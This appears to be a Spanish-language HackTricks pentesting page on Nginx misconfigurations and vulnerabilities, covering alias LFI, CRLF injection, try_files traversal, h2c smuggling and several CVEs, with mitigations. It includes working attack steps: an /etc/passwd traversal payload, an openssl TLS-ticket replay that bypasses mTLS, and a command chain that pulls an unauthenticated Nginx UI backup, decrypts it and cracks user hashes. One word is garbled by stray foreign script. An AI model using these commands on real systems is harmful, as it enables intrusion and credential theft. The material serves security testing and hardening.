Nginx

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

Falta la ubicación root

Al configurar el servidor Nginx, la directiva root desempeña un papel crítico al definir el directorio base desde el que se sirven los archivos. Considera el siguiente ejemplo:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

En esta configuración, /etc/nginx está designado como el directorio root. Esta configuración permite el acceso a archivos dentro del directorio root especificado, como /hello.txt. Sin embargo, es crucial notar que solo se define una location específica (/hello.txt). No existe configuración para la root location (location / {...}). Esta omisión significa que la directiva root se aplica globalmente, permitiendo que las solicitudes a la ruta root / accedan a archivos bajo /etc/nginx.

Surge una consideración crítica de seguridad a partir de esta configuración. Una simple solicitud GET, como GET /nginx.conf, podría exponer información sensible al servir el archivo de configuración de Nginx ubicado en /etc/nginx/nginx.conf. Establecer el root en un directorio menos sensible, como /etc, podría mitigar este riesgo, aunque aún podría permitir acceso no intencionado a otros archivos críticos, incluidos otros archivos de configuración, access logs, e incluso credenciales cifradas usadas para autenticación HTTP basic.

Alias LFI Misconfiguration

En los archivos de configuración de Nginx, merece una inspección detallada las directivas “location”. Una vulnerabilidad conocida como Local File Inclusion (LFI) puede introducirse inadvertidamente mediante una configuración que se parece a la siguiente:

location /imgs {
alias /path/images/;
}

Esta configuración es propensa a ataques LFI debido a que el servidor interpreta solicitudes como /imgs../flag.txt como un intento de acceder a archivos fuera del directorio previsto, resolviendo efectivamente a /path/images/../flag.txt. Este fallo permite a los atacantes recuperar archivos del sistema de archivos del servidor que no deberían ser accesibles a través de la web.

Para mitigar esta vulnerabilidad, la configuración debe ajustarse a:

location /imgs/ {
alias /path/images/;
}

Más información: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Pruebas de Accunetix:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Restricción de ruta insegura

Revisa la siguiente página para aprender cómo bypass directivas como:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Uso inseguro de variables / División de solicitudes HTTP

Caution

Variables vulnerables $uri y $document_uri y esto se puede corregir reemplazándolas con $request_uri.

Una regex también puede ser vulnerable como:

location ~ /docs/([^/])? { … $1 … } - Vulnerable

location ~ /docs/([^/\s])? { … $1 … } - No vulnerable (comprobando espacios)

location ~ /docs/(.*)? { … $1 … } - No vulnerable

Una vulnerabilidad en la configuración de Nginx se demuestra con el siguiente ejemplo:

location / {
return 302 https://example.com$uri;
}

Los caracteres \r (Carriage Return) y \n (Line Feed) significan caracteres de nueva línea en solicitudes HTTP, y sus formas codificadas en URL se representan como %0d%0a. Incluir estos caracteres en una solicitud (por ejemplo, http://localhost/%0d%0aDetectify:%20clrf) a un servidor mal configurado hace que el servidor emita un nuevo encabezado llamado Detectify. Esto ocurre porque la variable $uri decodifica los caracteres de nueva línea codificados en URL, lo que provoca un encabezado inesperado en la respuesta:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Aprende más sobre los riesgos de CRLF injection y response splitting en https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Además, esta técnica se explica en esta charla con algunos ejemplos vulnerables y mecanismos de detección. Por ejemplo, para detectar esta misconfiguration desde una perspectiva blackbox podrías hacer estas requests:

  • https://example.com/%20X - Cualquier código HTTP
  • https://example.com/%20H - 400 Bad Request

Si es vulnerable, la primera devolverá algo válido porque “X” es cualquier método HTTP y la segunda devolverá un error porque H no es un método válido. Así, el servidor recibirá algo como: GET / H HTTP/1.1 y esto provocará el error.

Otro ejemplo de detección sería:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Cualquier código HTTP
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Algunas configuraciones vulnerables que se mostraron en esa charla fueron:

  • Fíjate en cómo $uri se establece tal cual en la URL final
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Nótese cómo de nuevo $uri está en la URL (esta vez dentro de un parámetro)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Ahora en AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Any variable

Se descubrió que los datos proporcionados por el usuario podrían ser tratados como una variable de Nginx bajo ciertas circunstancias. La causa de este comportamiento sigue siendo algo elusiva, aunque no es algo raro ni sencillo de verificar. Esta anomalía fue destacada en un informe de seguridad en HackerOne, que puede verse here. Una investigación adicional sobre el mensaje de error llevó a identificar su ocurrencia dentro del módulo filtro SSI de la base de código de Nginx, señalando a Server Side Includes (SSI) como la causa raíz.

Para detectar esta mala configuración, se puede ejecutar el siguiente comando, que implica establecer un encabezado referer para probar la impresión de variables:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Los escaneos de esta mala configuración en distintos sistemas revelaron múltiples casos en los que un usuario podía imprimir variables de Nginx. Sin embargo, una disminución en el número de instancias vulnerables sugiere que los esfuerzos para corregir este problema han sido, en cierta medida, सफलidos.

Using try_files with $URI$ARGS variables

La siguiente mala configuración de Nginx puede provocar una vulnerabilidad LFI:

location / {
try_files $uri$args $uri$args/ /index.html;
}

En nuestra configuración tenemos la directiva try_files, que se usa para comprobar la existencia de archivos en el orden especificado. Nginx servirá el primero que encuentre. La sintaxis básica de la directiva try_files es la siguiente:

try_files file1 file2 ... fileN fallback;

Nginx comprobará la existencia de cada archivo en el orden especificado. Si un archivo existe, se servirá inmediatamente. Si ninguno de los archivos especificados existe, la solicitud se pasará a la opción de fallback, que puede ser otro URI o una página de error específica.

Sin embargo, al usar variables $uri$args en esta directiva, Nginx intentará buscar un archivo que coincida con el URI de la solicitud combinado con cualquier argumento de cadena de consulta. Por lo tanto, podemos explotar esta configuración:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Con la siguiente payload:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Usando nuestro payload escaparemos del directorio root (definido en la configuración de Nginx) y cargaremos el archivo /etc/passwd. En los debug logs podemos observar cómo Nginx intenta los archivos:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC contra Nginx usando la configuración mencionada arriba: Example burp request

Raw backend response reading

Nginx ofrece una funcionalidad a través de proxy_pass que permite interceptar los errores y los encabezados HTTP producidos por el backend, con el objetivo de ocultar mensajes de error y encabezados internos. Esto se logra haciendo que Nginx sirva páginas de error personalizadas en respuesta a errores del backend. Sin embargo, surgen problemas cuando Nginx encuentra una solicitud HTTP inválida. Dicha solicitud se reenvía al backend tal como fue recibida, y la respuesta raw del backend se envía directamente al cliente sin intervención de Nginx.

Considera un ejemplo de escenario que involucra una aplicación uWSGI:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Para gestionar esto, se usan directivas específicas en la configuración de Nginx:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Esta directiva permite a Nginx servir una respuesta personalizada para respuestas del backend con un código de estado mayor que 300. Garantiza que, para nuestra aplicación uWSGI de ejemplo, una respuesta 500 Error sea interceptada y gestionada por Nginx.
  • proxy_hide_header: Como su nombre indica, esta directiva oculta los encabezados HTTP especificados del cliente, mejorando la privacidad y la seguridad.

Cuando se realiza una solicitud GET válida, Nginx la procesa normalmente, devolviendo una respuesta de error estándar sin revelar ningún encabezado secreto. Sin embargo, una solicitud HTTP inválida elude este mecanismo, lo que da lugar a la exposición de respuestas sin procesar del backend, incluidos encabezados secretos y mensajes de error.

merge_slashes set to off

Por defecto, la directiva merge_slashes de Nginx está configurada en on, lo que comprime múltiples barras inclinadas en una URL en una sola barra. Esta función, aunque simplifica el procesamiento de URLs, puede ocultar inadvertidamente vulnerabilidades en aplicaciones detrás de Nginx, especialmente aquellas propensas a ataques de local file inclusion (LFI). Los expertos en seguridad Danny Robinson y Rotem Bar han destacado los riesgos potenciales asociados con este comportamiento por defecto, especialmente cuando Nginx actúa como reverse-proxy.

Para mitigar estos riesgos, se recomienda desactivar la directiva merge_slashes en aplicaciones susceptibles a estas vulnerabilidades. Esto garantiza que Nginx reenvíe las solicitudes a la aplicación sin alterar la estructura de la URL, evitando así enmascarar cualquier problema de seguridad subyacente.

Para más información consulta Danny Robinson y Rotem Bar.

Maclicious Response Headers

Como se muestra en this writeup, hay ciertos headers que, si están presentes en la respuesta del web server, cambiarán el comportamiento del proxy de Nginx. Puedes consultarlos in the docs:

  • X-Accel-Redirect: Indica a Nginx que redirija internamente una solicitud a una ubicación especificada.
  • X-Accel-Buffering: Controla si Nginx debe almacenar en búfer la respuesta o no.
  • X-Accel-Charset: Establece el conjunto de caracteres para la respuesta cuando se usa X-Accel-Redirect.
  • X-Accel-Expires: Establece el tiempo de expiración de la respuesta cuando se usa X-Accel-Redirect.
  • X-Accel-Limit-Rate: Limita la tasa de transferencia de las respuestas cuando se usa X-Accel-Redirect.

Por ejemplo, el header X-Accel-Redirect provocará un redirect interno en nginx. Así, tener una configuración de nginx con algo como root / y una respuesta del web server con X-Accel-Redirect: .env hará que nginx envíe el contenido de /.env (Path Traversal).

Default Value in Map Directive

En la configuración de Nginx, la directiva map a menudo desempeña un papel en el control de autorización. Un error común es no especificar un valor default, lo que podría llevar a acceso no autorizado. Por ejemplo:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Sin un default, un malicious user puede eludir la seguridad accediendo a una undefined URI dentro de /map-poc. The Nginx manual recomienda establecer un default value para evitar este tipo de problemas.

DNS Spoofing Vulnerability

DNS spoofing contra Nginx es factible bajo ciertas condiciones. Si un atacante conoce el DNS server usado por Nginx y puede interceptar sus consultas DNS, puede falsificar registros DNS. Sin embargo, este método es ineficaz si Nginx está configurado para usar localhost (127.0.0.1) para la resolución DNS. Nginx permite especificar un DNS server de la siguiente manera:

resolver 8.8.8.8;

proxy_pass and internal Directives

La directiva proxy_pass se utiliza para redirigir requests a otros servers, ya sea internamente o externamente. La directiva internal asegura que ciertos locations solo sean accesibles dentro de Nginx. Aunque estas directivas no son vulnerabilities por sí mismas, su configuración requiere un examen cuidadoso para evitar fallos de seguridad.

proxy_set_header Upgrade & Connection

Si el servidor nginx está configurado para pasar los headers Upgrade y Connection, se podría realizar un h2c Smuggling attack para acceder a endpoints protegidos/internal.

Caution

Esta vulnerability permitiría a un attacker establecer una conexión directa con el endpoint proxy_pass (http://backend:9999 en este caso) cuyo contenido no va a ser verificado por nginx.

Example of vulnerable configuration to steal /flag from here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Ten en cuenta que incluso si proxy_pass apuntaba a una path específica como http://backend:9999/socket.io, la conexión se establecerá con http://backend:9999, así que puedes contact any other path inside that internal endpoint. So it doesn’t matter if a path is specified in the URL of proxy_pass.

HTTP/3 QUIC module remote DoS & leak (2024)

Durante 2024 Nginx divulgó CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 y CVE-2024-35200, mostrando que una single hostile QUIC session puede hacer caer procesos worker o leak memory siempre que el experimental ngx_http_v3_module esté compilado y se exponga un socket listen ... quic. Las builds afectadas son 1.25.0–1.25.5 y 1.26.0, mientras que 1.27.0/1.26.1 incluyen los fixes; la divulgación de memoria (CVE-2024-34161) además requiere MTUs mayores que 4096 bytes para exponer datos sensibles (detalles en el advisory de nginx de 2024 referenciado abajo).

Recon & exploitation hints

  • HTTP/3 es opt-in, así que busca respuestas Alt-Svc: h3=":443" o haz brute-force de handshakes QUIC por UDP/443; una vez confirmado, fuzz the handshake and STREAM frames with custom quiche-client/nghttp3 payloads para provocar crashes de worker y forzar la filtración de logs.
  • Quickly fingerprint target support with:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

Omisión de client cert auth mediante reanudación de sesión TLS (CVE-2025-23419)

Un advisory de febrero de 2025 reveló que nginx 1.11.4–1.27.3 compilado con OpenSSL permite reutilizar una sesión TLS 1.3 de un virtual host basado en nombre dentro de otro, por lo que un cliente que negoció un host sin certificado puede reproducir el ticket/PSK para saltar a un vhost protegido con ssl_verify_client on; y omitir mTLS por completo. El bug se activa siempre que varios virtual hosts comparten la misma TLS 1.3 session cache y tickets (consulta el advisory de nginx de 2025 referenciado abajo).

Attacker playbook

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Si el target es vulnerable, el segundo handshake se completa sin presentar un client certificate, revelando locations protegidas.

What to audit

  • Bloques server_name mixtos que comparten ssl_session_cache shared:SSL junto con ssl_session_tickets on;.
  • Bloques admin/API que esperan mTLS pero heredan ajustes compartidos de session cache/ticket desde hosts públicos.
  • Automatización que habilita la reanudación de sesión TLS 1.3 globalmente (por ejemplo, roles de Ansible) sin considerar el aislamiento de vhost.

HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)

El HTTP/2 Rapid Reset attack (CVE-2023-44487) sigue afectando a nginx cuando los operadores elevan keepalive_requests o http2_max_concurrent_streams por encima de los valores por defecto: un atacante abre una conexión HTTP/2, la inunda con miles de streams y luego emite inmediatamente frames RST_STREAM, de modo que el límite de concurrencia nunca se alcanza mientras la CPU sigue gastándose en la lógica de tear-down. Los valores por defecto de Nginx (128 concurrent streams, 1000 keepalive requests) mantienen el impacto pequeño; subir esos límites “substantially higher” hace trivial agotar los workers incluso desde un solo cliente (ver la explicación de F5 referenciada abajo).

Detection tips

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Los hosts que revelan valores inusualmente altos para esas directivas son objetivos prioritarios: un cliente HTTP/2 puede iterar entre la creación de streams y tramas RST_STREAM instantáneas para mantener la CPU al máximo sin superar el límite de concurrencia.

Nginx UI pre-auth backup export + crypto material leakage

Nginx UI es un panel de administración separado para nginx, no el demonio nginx en sí. En Nginx UI < 2.3.3, el endpoint de exportación de backup puede ser accesible sin autenticación y la respuesta también puede leak la clave AES-256-CBC y el IV necesarios para descifrar el backup mediante el encabezado X-Backup-Security. Esto convierte una “encrypted backup download” en una divulgación inmediata de credenciales / tokens / claves privadas.

Fast version fingerprinting from SPA assets

Si la página de inicio de sesión es una SPA con mucho JS, descarga el bundle principal desde / y busca un chunk de versión dedicado:

curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
curl -s http://admin.example/assets/version-<hash>.js

En compilaciones vulnerables de Nginx UI, esto a menudo devuelve un literal como const t="2.3.2", lo cual es suficiente para coincidir con el rango vulnerable antes de autenticarse.

Verifica los endpoints API expuestos y descarga el backup

Incluso cuando la mayoría de las rutas /api/* devuelven 403, prueba directamente endpoints de estilo backup:

curl -s http://admin.example/api/install
curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
grep -i '^X-Backup-Security:' headers.txt
unzip -l backup.zip

Si es vulnerable, X-Backup-Security contiene base64(key):base64(iv). Decodifica ambos valores y confirma las longitudes esperadas (clave de 32 bytes, IV de 16 bytes):

KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
unzip backup.zip -d backup
openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"

Después del descifrado, inspecciona las configs de nginx recuperadas y los datos de la aplicación Nginx UI. Un camino común de post-exploitation es:

  • Extraer los detalles de reverse-proxy y vhost de nginx_dec.zip
  • Inspeccionar nginx-ui_dec.zip en busca de app.ini, database.db, tokens de API o material de certificados
  • Volcar la tabla SQLite users y crackear offline los hashes de contraseña recuperados
unzip nginx-ui_dec.zip -d nginx-ui
sqlite3 nginx-ui/database.db 'select name,password from users;'
hashcat -m 3200 hashes.txt <wordlist>

Este patrón también merece probarse en otros productos de administración: una exportación “encrypted” sin autenticación sigue siendo una divulgación de plaintext si la respuesta filtra el material de decryption o lo almacena junto con el archive.

Pruébalo tú mismo

Detectify ha creado un repositorio de GitHub donde puedes usar Docker para montar tu propio servidor de prueba vulnerable de Nginx con algunas de las misconfigurations comentadas en este artículo, ¡y probar a encontrarlas tú mismo!

https://github.com/detectify/vulnerable-nginx

Static Analyzer tools

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (un fork actualizado de GIXY) es una tool para analizar configuraciones de Nginx, con el objetivo de encontrar vulnerabilities, insecure directives y misconfigurations arriesgadas. También encuentra misconfigurations que afectan al rendimiento y detecta oportunidades de hardening que se han pasado por alto, permitiendo la detección automatizada de flaws.
  • gixy-ng (el fork mantenido activamente de GIXY) es una tool para analizar configuraciones de Nginx, con el objetivo de encontrar vulnerabilities, insecure directives y misconfigurations arriesgadas. También encuentra misconfigurations que afectan al rendimiento y detecta oportunidades de hardening que se han pasado por alto, permitiendo la detección automatizada de flaws.

Nginxpwner

Nginxpwner es una tool sencilla para buscar misconfigurations y vulnerabilities comunes de Nginx.

References

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks